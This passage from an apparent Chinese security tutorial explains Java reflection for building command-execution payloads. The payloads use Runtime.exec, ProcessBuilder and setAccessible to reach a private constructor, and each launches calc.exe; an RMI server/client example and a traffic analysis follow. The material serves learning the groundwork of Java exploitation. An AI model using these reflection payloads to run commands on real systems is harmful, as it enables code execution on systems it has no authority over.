\u5982\u679c\u8fd9\u4e2a\u65b9\u6cd5\u662f\u4e00\u4e2a\u9759\u6001\u65b9\u6cd5\uff0c\u90a3\u4e48\u7b2c\u4e00\u4e2a\u53c2\u6570\u662f\u7c7b\uff08\u9759\u6001\u65b9\u6cd5\u662f\u4e0e\u7c7b\u5173\u8054\u7684\uff0c\u800c\u4e0d\u662f\u4e0e\u7c7b\u7684\u5b9e\u4f8b\u5173\u8054<\/strong>\uff09<\/p>\n\n\n\n
\u6b63\u5e38\u6267\u884c\u65b9\u6cd5\u662f[1].method([2],[3],[4]…)\uff0c\u5176\u5b9e\u5728\u53cd\u5c04\u91cc\u5c31\u662fmethod.invoke([1],[2],[3],[4]…)\uff0c\u6bd4\u5982\u8fd9\u91cc\u7684Runtime.exec(“calc.exe”)\u53cd\u5c04\u5219\u53d8\u4e3aexec.invoke(Runtime,”calc.exe”)\uff0c\u90a3\u4e48\u5206\u89e3\u4e00\u4e0bpayload<\/p>\n\n\n\n
Class clazz = Class.forName(\"java.lang.Runtime\");\/\/\u83b7\u53d6Runtime\u7c7b\nMethod execMethod = clazz.getMethod(\"exec\", String.class);\/\/\u83b7\u53d6Runtime\u7c7b\u4e0b\u7684exec\u65b9\u6cd5\nMethod getRuntimeMethod = clazz.getMethod(\"getRuntime\");\/\/\u83b7\u53d6Runtime\u7c7b\u4e0b\u7684getRuntime\u65b9\u6cd5\nObject runtime = getRuntimeMethod.invoke(clazz);\/\/\u83b7\u53d6Runtiem\u5bf9\u8c61\uff0c\u5176\u5b9e\u8fd9\u91cc\u4f20\u5165NULL\u4e5f\u884c\uff0c\u56e0\u4e3agetRuntime\u65b9\u6cd5\u662f\u9759\u6001\u65b9\u6cd5\u4e0e\u7c7b\u5173\u8054\u800c\u975e\u5bf9\u8c61\nexecMethod.invoke(runtime, \"calc.exe\");\/\/Runtime.exec.invoke(\"calc.exe\")\uff0c\u8fd9\u91ccexec\u975e\u9759\u6001\u65b9\u6cd5\u4e0e\u5b9e\u4f8b\u5173\u8054\u6240\u4ee5\u5fc5\u987b\u4f20\u5165runtime\n\nClass clazz = Class.forName(\"java.lang.Runtime\")\nclazz.getMethod(\"exec\",String.class).invoke(clazz.getMethod(\"getRuntime\").invoke(null),\"calc.exe\")<\/code><\/pre>\n\n\n\n
\u95ee\u9898\u6765\u4e86<\/strong>
\u5982\u679c\u4e00\u4e2a\u7c7b\u6ca1\u6709\u65e0\u53c2\u6784\u9020\u65b9\u6cd5\uff0c\u4e5f\u6ca1\u6709\u7c7b\u4f3c\u5355\u4f8b\u6a21\u5f0f\u91cc\u7684\u9759\u6001\u65b9\u6cd5\uff0c\u6211\u4eec\u600e\u6837\u901a\u8fc7\u53cd\u5c04\u5b9e\u4f8b\u5316\u8be5\u7c7b\u5462\uff1f<\/strong>
\u5982\u679c\u4e00\u4e2a\u65b9\u6cd5\u6216\u6784\u9020\u65b9\u6cd5\u662f\u79c1\u6709\u65b9\u6cd5\uff0c\u6211\u4eec\u662f\u5426\u80fd\u6267\u884c\u5b83\u5462\uff1f<\/strong><\/p>\n\n\n\n
\u9488\u5bf9\u7b2c\u4e00\u4e2a\u95ee\u9898<\/strong>\uff0c\u6211\u4eec\u9700\u8981\u7528\u5230\u4e00\u4e2a\u65b0\u7684\u53cd\u5c04\u65b9\u6cd5getConstructor<\/strong>\u3002\u8ddfgetMethod\u7c7b\u4f3c\uff0cgetConstructor\u63a5\u6536\u7684\u53c2\u6570\u662f\u6784\u9020\u51fd\u6570\u5217\u8868\u7c7b\u578b\uff0c\u56e0\u4e3a\u6784\u9020\u51fd\u6570\u4e5f\u652f\u6301\u91cd\u8f7d\uff0c\u6240\u4ee5\u5fc5\u987b\u7528\u53c2\u6570\u5217\u8868\u7c7b\u578b\u624d\u80fd\u552f\u4e00\u786e\u5b9a\u4e00\u4e2a\u6784\u9020\u51fd\u6570\u3002<\/p>\n\n\n\n
\u6bd4\u5982\u8fd9\u4e2a\u7c7b<\/p>\n\n\n\n
class User {\n    public User() {}\n\n    public User(String name) {}\n\n    public User(String name, int age) {}\n}<\/code><\/pre>\n\n\n\n
\u6709\u4e09\u4e2a\u6784\u9020\u51fd\u6570<\/p>\n\n\n\n
User()\nUser(String name)\nUser(String name, int age)<\/code><\/pre>\n\n\n\n
\u5b83\u4eec\u7684\u53c2\u6570\u7c7b\u578b\u5217\u8868\u5206\u522b\u662f<\/p>\n\n\n\n
\u65e0\u53c2\u6784\u9020\uff1a          []\n\u4e00\u4e2a\u53c2\u6570\u6784\u9020\uff1a      [String.class]\n\u4e24\u4e2a\u53c2\u6570\u6784\u9020\uff1a      [String.class, int.class]\nConstructor<Person> c3 = Person.class.getConstructor(String.class, int.class);#\u8868\u793a\u67e5\u627eString.class\uff0cint.class\u53c2\u6570\u5217\u8868\u7684\u6784\u9020\u51fd\u6570<\/code><\/pre>\n\n\n\n
\u83b7\u53d6\u5230\u6784\u9020\u51fd\u6570\u540e\uff0c\u6211\u4eec\u4f7f\u7528newInstance\u6765\u6267\u884c\u3002\u6bd4\u5982\u6211\u4eec\u5e38\u7528\u7684\u53e6\u4e00\u79cd\u6267\u884c\u547d\u4ee4\u7684\u65b9\u5f0fProcessBuilder\uff0c\u6211\u4eec\u4f7f\u7528\u53cd\u5c04\u6765\u83b7\u53d6\u5176\u6784\u9020\u51fd\u6570\uff0c\u7136\u540e\u8c03\u7528start()\u6765\u6267\u884c\u547d\u4ee4\uff1b<\/p>\n\n\n\n
Class clazz = Class.forName(\"java.lang.ProcessBuilder\");\n((ProcessBuilder) \nclazz.getConstructor(List.class).newInstance(Arrays.asList(\"calc.exe\"))).star\nt();<\/code><\/pre>\n\n\n\n
ProcessBuilder\u6709\u4e24\u4e2a\u6784\u9020\u51fd\u6570\uff1a<\/strong><\/p>\n\n\n\n
public ProcessBuilder(List<String> command)\npublic ProcessBuilder(String... command)<\/code><\/pre>\n\n\n\n
\u4e0a\u9762\u7528\u5230\u4e86\u7b2c\u4e00\u4e2a\u5f62\u5f0f\u7684\u6784\u9020\u51fd\u6570\uff0c\u6240\u4ee5\u5728getConstructor\u7684\u65f6\u5019\u4f20\u5165\u7684\u662fList.class\u3002\u4f46\u662f\u6211\u4eec\u770b\u5230\u524d\u9762\u8fd9\u4e2aPayload\u7528\u5230\u4e86Java\u91cc\u7684\u5f3a\u5236\u7c7b\u578b\u8f6c\u6362\uff0c\u6709\u7684\u65f6\u5019\u6211\u4eec\u5229\u7528\u6f0f\u6d1e\u7684\u65f6\u5019\uff08\u5728\u8868\u8fbe\u5f0f\u4e0a\u4e0b\u6587\u4e2d\uff09\u662f\u6ca1\u6709\u8fd9\u79cd\u8bed\u6cd5\u7684\u3002\u6240\u4ee5\uff0c\u6211\u4eec\u4ecd\u9700\u5229\u7528\u53cd\u5c04\u6765\u5b8c\u6210\u8fd9\u4e00\u6b65\u3002\u901a\u8fc7getMethod(“start”)\u83b7\u53d6\u5230\u4e86start\u65b9\u6cd5\uff0c\u7136\u540einvoke\u6267\u884c\uff0cinvoke\u7684\u7b2c\u4e00\u4e2a\u53c2\u6570\u5c31\u662fProcessBuilder Object\u4e86\u3002<\/p>\n\n\n\n
Class clazz = Class.forName(\"java.lang.ProcessBuilder\");\nclazz.getMethod(\"start\").invoke(clazz.getConstructor(List.class).newInstance(\nArrays.asList(\"calc.exe\")));<\/code><\/pre>\n\n\n\n
\"\"<\/div><\/figure>\n\n\n\n
\u90a3\u4e48\u5982\u679c\u6211\u4eec\u8981\u7528public ProcessBuilder(String…command)\u8fd9\u4e2a\u6784\u9020\u51fd\u6570\uff0c\u9700\u8981\u600e\u4e48\u7528\u53cd\u5c04\u6267\u884c\u5462\uff1f
\u8fd9\u5c31\u6d89\u53ca\u5230\u4e86Java\u91cc\u7684\u53ef\u53d8\u957f\u53c2\u6570\uff08varargs\uff09\u4e86\u3002\u6b63\u5982\u5176\u4ed6\u8bed\u8a00\u4e00\u6837\uff0cJava\u4e5f\u652f\u6301\u53ef\u53d8\u957f\u53c2\u6570\uff0c\u5c31\u662f\u5f53\u4f60\u5b9a\u4e49\u51fd\u6570\u7684\u65f6\u5019\u4e0d\u786e\u5b9a\u53c2\u6570\u6570\u91cf\u7684\u65f6\u5019\uff0c\u53ef\u4ee5\u4f7f\u7528…\u8fd9\u6837\u7684\u8bed\u6cd5\u6765\u8868\u793a\u201c\u8fd9\u4e2a\u51fd\u6570\u7684\u53c2\u6570\u4e2a\u6570\u662f\u53ef\u53d8\u7684\u201d\u3002\u5bf9\u4e8e\u53ef\u53d8\u957f\u53c2\u6570\uff0cJava\u5176\u5b9e\u5728\u7f16\u8bd1\u7684\u65f6\u5019\u4f1a\u7f16\u8bd1\u6210\u4e00\u4e2a\u6570\u7ec4\uff0c\u4e5f\u5c31\u662f\u8bf4\uff0c\u5982\u4e0b\u8fd9\u4e24\u79cd\u5199\u6cd5\u5728\u5e95\u5c42\u662f\u7b49\u4ef7\u7684\uff08\u4e5f\u5c31\u662f\u4e0d\u80fd\u91cd\u8f7d\uff09<\/p>\n\n\n\n
public void hello(String[] names) {}\npublic void hello(String...names) {}<\/code><\/pre>\n\n\n\n
\u4e5f\u7531\u6b64\uff0c\u5982\u679c\u6211\u4eec\u6709\u4e00\u4e2a\u6570\u7ec4\uff0c\u76f8\u4f20\u7ed9hello\u51fd\u6570\uff0c\u53ea\u9700\u8981\u76f4\u63a5\u4f20\u5373\u53ef<\/p>\n\n\n\n
String[] names = {\"hello\", \"world\"};\nhello(names);<\/code><\/pre>\n\n\n\n
\u90a3\u4e48\u5bf9\u4e8e\u53cd\u5c04\u6765\u8bf4\uff0c\u5982\u679c\u8981\u83b7\u53d6\u7684\u76ee\u6807\u51fd\u6570\u91cc\u5305\u542b\u53ef\u53d8\u957f\u53c2\u6570\uff0c\u5176\u5b9e\u6211\u4eec\u8ba4\u4e3a\u5b83\u662f\u6570\u7ec4\u5c31\u884c\u4e86\u3002\u6240\u4ee5\u6211\u4eec\u5c06\u5b57\u7b26\u4e32\u7ec4\u7684\u7c7bString[].class\u4f20\u7ed9getConstructor\uff0c\u83b7\u53d6processBuilder\u7684\u7b2c\u4e8c\u79cd\u6784\u9020\u51fd\u6570<\/p>\n\n\n\n
Class clazz = Class.forName(\"java.lang.ProcessBuilder\");\nclazz.getConstructor(String[].class)<\/code><\/pre>\n\n\n\n
\u5728\u8c03\u7528newInstance\u7684\u65f6\u5019\uff0c\u56e0\u4e3a\u8fd9\u4e2a\u51fd\u6570\u672c\u8eab\u63a5\u6536\u7684\u662f\u4e00\u4e2a\u53ef\u53d8\u957f\u53c2\u6570\uff0c\u6211\u4eec\u4f20\u7ed9ProcessBuilder\u7684\u4e5f\u662f\u4e00\u4e2a\u53ef\u53d8\u957f\u53c2\u6570\uff0c\u4e8c\u8005\u53e0\u52a0\u4e3a\u4e00\u4e2a\u4e8c\u7ef4\u6570\u7ec4\uff0c\u6240\u4ee5\u6574\u4e2aPayload\u5982\u4e0b\uff1a<\/p>\n\n\n\n
Class clazz = Class.forName(\"java.lang.ProcessBuilder\");\n((ProcessBuilder)clazz.getConstructor(String[].class).newInstance(new \nString[][]{{\"calc.exe\"}})).start();\n\n\u53cd\u5c04\u7248\u672c\nClass clazz = Class.forName(\"java.lang.ProcessBuilder\");\nclazz.getMethod(\"start\").invoke(clazz.getConstructor(String[].class).newInstance(new String[][]{{\"calc.exe\"}}));<\/code><\/pre>\n\n\n\n
\u9488\u5bf9\u7b2c\u4e8c\u4e2a\u95ee\u9898\uff0c<\/strong>\u8fd9\u5c31\u6d89\u53ca\u5230getDeclared\u7cfb\u5217\u7684\u53cd\u5c04\u4e86\uff0c\u4e0e\u666e\u901a\u7684getMethod\u3001getConstructor\u533a\u522b\u662f\uff1a
1.getMethod\u7cfb\u5217\u65b9\u6cd5\u83b7\u53d6\u7684\u662f\u5f53\u524d\u7c7b\u4e2d\u6240\u6709\u516c\u5171\u65b9\u6cd5\uff0c\u5305\u62ec\u4ece\u7236\u7c7b\u7ee7\u627f\u7684\u65b9\u6cd5<\/p>\n\n\n\n
class Parent {\n    public void parentPublic() {}\n}\n\nclass Child extends Parent {\n    public void childPublic() {}\n    private void childPrivate() {}\n}\n\u53ef\u8c03\u7528\nclazz.getMethod(\"childPublic\");\nclazz.getMethod(\"parentPublic\");\n\u4e0d\u53ef\u8c03\u7528\nclazz.getMethod(\"childPrivate\");<\/code><\/pre>\n\n\n\n
2.getDeclaredMethod\u7cfb\u5217\u65b9\u6cd5\u83b7\u53d6\u7684\u662f\u5f53\u524d\u7c7b\u4e2d\u201c\u58f0\u660e\u201d\u7684\u65b9\u6cd5\uff0c\u662f\u5b9e\u5728\u5199\u5728\u8fd9\u4e2a\u7c7b\u91cc\u7684\uff0c\u5305\u62ec\u79c1\u6709\u7684\u65b9\u6cd5\uff0c\u4f46\u4ece\u7236\u7c7b\u91cc\u7ee7\u627f\u6765\u7684\u5c31\u4e0d\u5305\u542b\u4e86\u3002<\/p>\n\n\n\n
class Parent {\n    public void parentPublic() {}\n}\n\nclass Child extends Parent {\n    public void childPublic() {}\n    private void childPrivate() {}\n}\n\u53ef\u8c03\u7528\nclazz.getDeclaredMethod(\"childPublic\");\nclazz.getDeclaredMethod(\"childPrivate\");\n\u4e0d\u53ef\u8c03\u7528\npublic void parentPublic() {}<\/code><\/pre>\n\n\n\n
getDeclareConstructor\u4e5f\u548cgetConstructor\u7528\u6cd5\u7c7b\u4f3c\u533a\u522b\u548c\u4e0a\u8ff0\u63cf\u8ff0\u4e00\u6837\u4e0d\u8fc7\u591a\u8d58\u8ff0<\/strong><\/p>\n\n\n\n
\u76ee\u524d\u6709\u4e86\u89e3\u51b3\u65b9\u6cd5\u90a3\u4e48\u6211\u4eec\u6362\u4e2a\u601d\u8def\u6765\u8c03\u7528Runtime\u7c7b\u7684\u79c1\u6709\u6784\u9020\u65b9\u6cd5\uff0c\u76f4\u63a5\u7528getDeclaredConstructor\u6765\u83b7\u53d6\u8fd9\u4e2a\u79c1\u6709\u7684\u6784\u9020\u65b9\u6cd5\u6765\u5b9e\u4f8b\u5316\u5bf9\u8c61<\/p>\n\n\n\n
Class clazz = Class.forName(\"java.lang.Runtime\");\nConstructor m = clazz.getDeclaredConstructor();\nm.setAccessible(true);\nclazz.getMethod(\"exec\", String.class).invoke(m.newInstance(), \"calc.exe\");\n\nClass clazz <\/code><\/pre>\n\n\n\n
\u8fd9\u91cc\u4f7f\u7528\u4e86\u4e00\u4e2a\u65b9\u6cd5setAccessible\uff0c\u8fd9\u4e2a\u662f\u5fc5\u987b\u7684\u3002\u5728\u83b7\u53d6\u5230\u4e00\u4e2a\u79c1\u6709\u65b9\u6cd5\u540e\uff0c\u5fc5\u987b\u7528setAccessible\u4fee\u6539\u5b83\u7684\u4f5c\u7528\u57df\uff0c\u5426\u5219\u4ecd\u7136\u4e0d\u80fd\u8c03\u7528\u3002<\/strong><\/p>\n\n\n\n
\u53cd\u5c04\u603b\u7ed3<\/h2>\n\n\n\n
\u600e\u4e48\u53bb\u7406\u89e3\uff1a\u6240\u8c13\u7684 \u201c\u52a8\u6001\u7279\u6027\u201d \u5373\uff1a\u4e00\u6bb5\u4ee3\u7801\uff0c\u6539\u53d8\u5176\u4e2d\u7684\u53d8\u91cf\uff0c\u5c06\u4f1a\u5bfc\u81f4\u8fd9\u6bb5\u4ee3\u7801\u4ea7\u751f\u529f\u80fd\u6027\u7684\u53d8\u5316<\/strong>\uff1f<\/strong><\/p>\n\n\n\n
\u76f4\u89c2\u7684\u4ee3\u7801\u89e3\u91ca<\/p>\n\n\n\n
Class clazz = Class.forName(className);\nMethod method = clazz.getMethod(methodName);\nmethod.invoke(obj);<\/code><\/pre>\n\n\n\n
\u770b\u4f3c\u6b7b\u7684\u4ee3\u7801\u56e0\u4e3a\u53cd\u5c04\u7684\u5b58\u5728\u8ba9\u5176\u201c\u52a8\u4e86\u8d77\u6765\u201d<\/strong>\uff0c\u6700\u7ec8\u6267\u884c\u7684\u7ed3\u679c\u770b\u7684\u662fclassName\u3001methodName\u3001obj\uff0c\u8fd9\u6bb5\u4ee3\u7801\u6700\u540e\u4ea7\u751f\u7684\u529f\u80fd\u53ef\u80fd\u662f<\/p>\n\n\n\n
className = \"java.lang.ProcessBuilder\";\nmethodName = \"start\";\nor\nclassName = \"java.lang.Runtime\";\nmethodName = \"exec\";\n......<\/code><\/pre>\n\n\n\n
\u4e3a\u4ec0\u4e48\u53cd\u5c04\u975e\u5e38\u91cd\u8981\uff1f<\/strong>
\u6211\u4eec\u53ef\u4ee5\u901a\u8fc7\u53cd\u5c04\u83b7\u53d6\u4e0a\u4e0b\u6587\u4e0d\u66fe\u51fa\u73b0\u7684\u7c7b\uff0c\u83b7\u53d6\u8be5\u7c7b\u4e2d\u7684\u65b9\u6cd5\u8fdb\u884c\u6267\u884c\u3002\u7a76\u5176\u539f\u56e0\uff1aimport \u662f \u201c\u7f16\u8bd1\u671f\u8bed\u6cd5\u201d\uff0cClass.forName () \u662f \u201c\u8fd0\u884c\u65f6\u52a8\u6001\u52a0\u8f7d\u201d<\/strong><\/strong><\/p>\n\n\n\n
\u53cd\u5c04\u7b2c\u4e00\u6b65\uff0c\u62ff\u5230\u7c7b\uff1a<\/strong>forName\u7b49\u65b9\u6cd5\u62ff\u5230\u7c7b<\/p>\n\n\n\n
\u53cd\u5c04\u7b2c\u4e8c\u6b65\uff0c\u627e\u6784\u9020\u65b9\u6cd5\uff0c\u521b\u5efa\u5bf9\u8c61\uff1a<\/strong>\u9664\u4e86\u9759\u6001\u65b9\u6cd5\u3001\u9759\u6001\u4ee3\u7801\u5757\u8fd9\u7c7b\u5c5e\u4e8e\u7c7b\u672c\u8eab\u7684\u5185\u5bb9\uff0c\u5176\u4f59\u666e\u901a\u6210\u5458\u65b9\u6cd5\u901a\u5e38\u9700\u8981\u5148\u521b\u5efa\u7c7b\u7684\u5bf9\u8c61\uff0c\u518d\u901a\u8fc7\u5bf9\u8c61\u8c03\u7528\u3002\u5bf9\u8c61\u7684\u521b\u5efa\u5c11\u4e0d\u4e86\u5bf9\u5e94\u7684\u6784\u9020\u65b9\u6cd5\u3002<\/p>\n\n\n\n
class.newInstance()\u8c03\u7528\u7c7b\u7684\u65e0\u53c2\u6784\u9020\uff0c\u65f6\u5e38\u5931\u8d25\u3002\u6709\u7684\u7c7b\u6ca1\u6709\u65e0\u53c2\u6784\u9020\uff0c\u6709\u7684\u65e0\u53c2\u6784\u9020\u79c1\u6709\uff0c\u6709\u7684\u7c7b\u91c7\u7528\u201c\u5355\u4f8b\u6a21\u5f0f\u201d\u8bbe\u8ba1\u601d\u8def\u3002<\/p>\n\n\n\n
\u5355\u4f8b\u7a81\u7834\uff1a<\/strong>\u5355\u4f8b\u6a21\u5f0f\u8bbe\u8ba1\u601d\u8def\u662f\u4e3a\u4e86\u9632\u6b62\u591a\u5b9e\u4f8b\u6709\u4e14\u53ea\u63d0\u4f9b\u4e00\u4e2a\u5b9e\u4f8b\uff0c\u6211\u4eec\u76ee\u7684\u5c31\u662f\u83b7\u53d6\u5b9e\u4f8b\u6240\u4ee5\u5e76\u65e0\u963b\u788d\u3002\u5355\u4f8b\u6a21\u5f0f\u521a\u597d\u4e3a\u6211\u4eec\u63d0\u4f9b\u4e86\u9759\u6001\u65b9\u6cd5getInstance()\uff0c\u53ef\u4ee5\u76f4\u63a5\u901a\u8fc7\u7c7b\u540d\u8c03\u7528\u83b7\u5f97\u5b9e\u4f8b\u3002<\/p>\n\n\n\n
\u7c7b\u4e2d\u6ca1\u6709\u65e0\u53c2\u6784\u9020\u65b9\u6cd5\uff0c\u53c8\u65e0\u9759\u6001\u65b9\u6cd5\u83b7\u53d6\u5b9e\u4f8b\u7a81\u7834<\/strong>\uff1a\u6784\u9020\u65b9\u6cd5\u652f\u6301\u91cd\u8f7d\u90a3\u4e48\u4e5f\u5c31\u610f\u5473\u7740\u5b58\u5728\u591a\u4e2a\u6784\u9020\u65b9\u6cd5\uff0c\u56e0\u6b64\u91c7\u7528getConstructor\u65b9\u6cd5\u901a\u8fc7\u4f20\u5165\u53c2\u6570\u5217\u8868\u6765\u83b7\u53d6\u6307\u5b9a\u7684\u6784\u9020\u65b9\u6cd5\u518dnewInstance\u6267\u884c\u5373\u53ef\u83b7\u5f97\u5b9e\u4f8b\uff08\u7279\u522b\u7684\u8981\u83b7\u53d6\u4e00\u4e2a\u53c2\u6570\u5217\u8868\u662f\u201c\u53ef\u53d8\u957f\u53c2\u6570\u201d\u7684\u6784\u9020\u65b9\u6cd5\uff0c\u5c06\u5176\u5f53\u4f5c\u6570\u7ec4\u5373\u53ef\uff09<\/p>\n\n\n\n
\u79c1\u6709\u7a81\u7834\uff1a<\/strong>getDeclaredMethod\u3001getDeclareConstructor\u53ef\u83b7\u53d6\u79c1\u6709\u65b9\u6cd5\uff0c\u9700\u8981setAccessible=true\u7a81\u7834<\/p>\n\n\n\n
\u53cd\u5c04\u7b2c\u4e09\u6b65\uff0c\u65b9\u6cd5\u8c03\u7528\uff1a<\/strong>\u8fd9\u4e2a\u6ca1\u5565\u53ef\u8bf4\u7684\uff0c\u4e3b\u8981\u662f\u7406\u89e3[1].method[2,3,4…]\u548cmethod.invoke[1,2,3,4…]<\/p>\n\n\n\n
RMI\u534f\u8bae<\/h1>\n\n\n\n
RMI\u5168\u79f0\u662fRemote Method Invocation\uff0c\u8fdc\u7a0b\u65b9\u6cd5\u8c03\u7528Java\u72ec\u6709\u7684\u4e00\u79cd\u673a\u5236\uff0c\u5176\u76ee\u6807\u5c31\u662f\u8ba9\u67d0\u4e2aJava\u865a\u62df\u673a\u4e0a\u7684\u5bf9\u8c61\u8c03\u7528\u53e6\u4e00\u4e2aJava\u865a\u62df\u673a\u4e2d\u5bf9\u8c61\u4e0a\u7684\u65b9\u6cd5\u3002<\/p>\n\n\n\n
RMI\u6d41\u7a0b<\/p>\n\n\n\n
RMI Server<\/strong><\/p>\n\n\n\n
package server;\nimport java.rmi.Naming;\nimport java.rmi.Remote;\nimport java.rmi.RemoteException;\nimport java.rmi.registry.LocateRegistry;\nimport java.rmi.registry.Registry;\nimport java.rmi.server.UnicastRemoteObject;\n\npublic class RMIServer {\n\n    public interface IRemoteHelloWorld extends Remote {\n        public String hello() throws RemoteException;\n    }\n\n    public class RemoteHelloWorld extends UnicastRemoteObject implements\n            IRemoteHelloWorld {\n        protected RemoteHelloWorld() throws RemoteException {\n            super();\n        }\n        public String hello() throws RemoteException {\n            System.out.println(\"call from\");\n            return \"Hello world\";\n        }\n    }\n\n    private void start() throws Exception {\n        RemoteHelloWorld h = new RemoteHelloWorld();\n        LocateRegistry.createRegistry(1099);\n        Naming.rebind(\"rmi:\/\/192.168.75.153:1099\/Hello\", h);\n    }\n    public static void main(String[] args) throws Exception {\n        new RMIServer().start();\n    }\n}\n<\/code><\/pre>\n\n\n\n
\u4e00\u4e2aRMI Server\u5206\u4e3a\u4e09\u4e2a\u90e8\u5206\uff1a
1.\u4e00\u4e2a\u7ee7\u627f\u4e86java.rmi.Remote\u7684\u63a5\u53e3\uff0c\u5176\u4e2d\u5b9a\u4e49\u6211\u4eec\u8981\u8c03\u7528\u7684\u51fd\u6570\uff0c\u6bd4\u5982\u8fd9\u91cc\u7684hello()
2.\u4e00\u4e2a\u5b9e\u73b0\u4e86\u6b64\u63a5\u53e3\u7684\u7c7b
3.\u4e00\u4e2a\u4e3b\u7c7b\uff0c\u7528\u6765\u521b\u5efaRegistry\uff0c\u5e76\u5c06\u4e0a\u9762\u7684\u7c7b\u5b9e\u4f8b\u5316\u540e\u7ed1\u5b9a\u5230\u4e00\u4e2a\u5730\u5740\u3002<\/strong>
\u542f\u52a8\u7684\u65f6\u5019java -Djava.rmi.server.hostname=192.168.75.153 server.RMIServer\u544a\u8bc9RMI\u5c06stub\u91cc\u5199192.168.75.153<\/p>\n\n\n\n
RMI Client<\/strong><\/p>\n\n\n\n
package client;\nimport server.RMIServer;\n\nimport java.rmi.Naming;\nimport java.rmi.NotBoundException;\nimport java.rmi.RemoteException;\npublic class TrainMain {\n    public static void main(String[] args) throws Exception {\n        RMIServer.IRemoteHelloWorld hello = (RMIServer.IRemoteHelloWorld)\n                Naming.lookup(\"rmi:\/\/192.168.75.153:1099\/Hello\");\n        String ret = hello.hello();\n        System.out.println( ret);\n    }\n}\n<\/code><\/pre>\n\n\n\n
\u5ba2\u6237\u7aef\u5c31\u7b80\u5355\u591a\u4e86\uff0c\u4f7f\u7528Naming.lookup\u5728Registry\u4e2d\u5bfb\u627e\u5230\u540d\u5b57\u662fHello\u7684\u5bf9\u8c61\uff0c\u540e\u9762\u7684\u4f7f\u7528\u5c31\u548c\u5728\u672c\u5730\u4f7f\u7528\u4e00\u6837\u4e86\u3002\u867d\u8bf4\u6267\u884c\u8fdc\u7a0b\u65b9\u6cd5\u7684\u65f6\u5019\u662f\u5728\u8fdc\u7a0b\u670d\u52a1\u5668\u4e0a\u6267\u884c\u7684\uff0c\u4f46\u5b9e\u9645\u4e0a\u6211\u4eec\u8fd8\u662f\u9700\u8981\u77e5\u9053\u6709\u54ea\u4e9b\u65b9\u6cd5\uff0c\u8fd9\u65f6\u5019\u63a5\u53e3\u7684\u91cd\u8981\u6027\u5c31\u4f53\u73b0\u4e86\uff0c\u8fd9\u4e5f\u662f\u4e3a\u4ec0\u4e48\u6211\u4eec\u524d\u9762\u8981\u96c6\u6210Remote\u5e76\u5c06\u6211\u4eec\u9700\u8981\u8c03\u7528\u7684\u65b9\u6cd5\u5199\u5728\u63a5\u53e3IRemoteHelloWorld\u91cc\uff0c\u56e0\u4e3a\u5ba2\u6237\u7aef\u4e5f\u9700\u8981\u7528\u5230\u8fd9\u4e2a\u63a5\u53e3\u3002<\/p>\n\n\n\n
wireshark\u6293\u5305\u770bRMI\u7684\u901a\u4fe1\u8fc7\u7a0b<\/p>\n\n\n\n
\"\"<\/div><\/figure>\n\n\n\n
\u5b8c\u6574\u7684\u901a\u4fe1\u8fc7\u7a0b\uff0c\u6211\u4eec\u53ef\u4ee5\u53d1\u73b0\uff0c\u6574\u4e2a\u8fc7\u7a0b\u8fdb\u884c\u4e86\u4e24\u6b21TCP\u63e1\u624b\uff0c\u4e5f\u5c31\u662f\u6211\u4eec\u5b9e\u9645\u5efa\u7acb\u4e86\u4e24\u6b21TCP\u8fde\u63a5\u3002
\u7b2c\u4e00\u6b21\u5efa\u7acbTCP\u8fde\u63a5\u662f\u8fde\u63a5\u8fdc\u7aef192.168.135.142\u76841099\u7aef\u53e3\uff0c\u8fd9\u4e5f\u662f\u5728\u4ee3\u7801\u4e2d\u770b\u5230\u7684\u7aef\u53e3\uff0c\u4e8c\u8005\u8fdb\u884c\u6c9f\u901a\u540e\uff0c\u5411\u8fdc\u7aef\u53d1\u9001\u4e86\u4e00\u4e2a\u201cCall\u201d\u6d88\u606f\uff0c\u8fdc\u7aef\u6062\u590d\u4e86\u4e00\u4e2a\u201cReturnData\u201d\u6d88\u606f\uff0c\u7136\u540e\u65b0\u5efa\u4e86\u4e00\u4e2aTCP\u8fde\u63a5\uff0c\u8fde\u63a5\u5230\u8fdc\u7aef\u768433769\u7aef\u53e3<\/p>\n\n\n\n
\u4e3a\u4ec0\u4e48\u4f1a\u8fde\u63a533769\u7aef\u53e3\u5462\uff1f<\/strong>
\u5728RetrunData\u8fd9\u4e2a\u5305\u4e2d\uff0c\u8fd4\u56de\u4e86\u76ee\u6807\u7684IP\u5730\u5740192.168.135.142\uff0c\u5176\u540e\u8ddf\u7684\u4e00\u4e2a\u5b57\u8282\\x00\\x00\\x83\\xE9\uff0c\u521a\u597d\u5c31\u662f\u6574\u657033769\u7684\u7f51\u7edc\u5e8f\u5217<\/p>\n\n\n\n
\"\"<\/div><\/figure>\n\n\n\n
\u8fd9\u6bb5\u6570\u636e\u6d41\u4e2d\u4ece\\xAC\\xED\u5f00\u59cb\u5f80\u540e\u5c31\u662fJava\u5e8f\u5217\u5316\u6570\u636e\u4e86\uff0cIP\u548c\u7aef\u53e3\u53ea\u662f\u8fd9\u4e2a\u5bf9\u8c61\u7684\u4e00\u90e8\u7f62\u4e86\u3002<\/p>\n\n\n\n
\u6574\u4e2a\u8fc7\u7a0b\uff1a<\/strong>\u9996\u5148\u5ba2\u6237\u7aef\u8fde\u63a5Registry\u4e5f\u5c31\u662fServer\u5f00\u653e\u76841099\u7aef\u53e3<\/strong>\uff0c\u5e76\u5728\u5176\u4e2d\u5bfb\u627eName\u662fHello\u7684\u5bf9\u8c61\uff0c\u8fd9\u4e2a\u5bf9\u5e94\u6570\u636e\u6d41\u4e2d\u7684Call\u6d88\u606f\uff1b\u7136\u540eRegistry\u8fd4\u56de\u4e00\u4e2a\u5e8f\u5217\u5316\u6570\u636e\uff0c\u8fd9\u4e2a\u5c31\u662f\u627e\u5230\u7684Name=Hello\u7684\u5bf9\u8c61\uff0c\u8fd9\u4e2a\u5bf9\u5e94\u6570\u636e\u6d41\u4e2d\u7684RetrunData\u6d88\u606f\uff1b\u5ba2\u6237\u7aef\u53cd\u5e8f\u5217\u5316\u8be5\u5bf9\u8c61\uff0c\u53d1\u73b0\u8be5\u5bf9\u8c61\u662f\u4e00\u4e2a\u8fdc\u7a0b\u5bf9\u8c61\uff0c\u5730\u5740\u5728192.168.135.142:33769\uff0c\u4e8e\u662f\u518d\u4e0e\u8fd9\u4e2a\u5730\u5740\u5efa\u7acbTCP\u8fde\u63a5\uff1b\u5728\u8fd9\u4e2a\u65b0\u7684\u8fde\u63a5\u4e2d\uff0c\u624d\u6267\u884c\u771f\u6b63\u7684\u8fdc\u7a0b\u65b9\u6cd5\u8c03\u7528\uff0c\u4e5f\u5c31\u662fhello()\u3002<\/p>\n\n\n\n
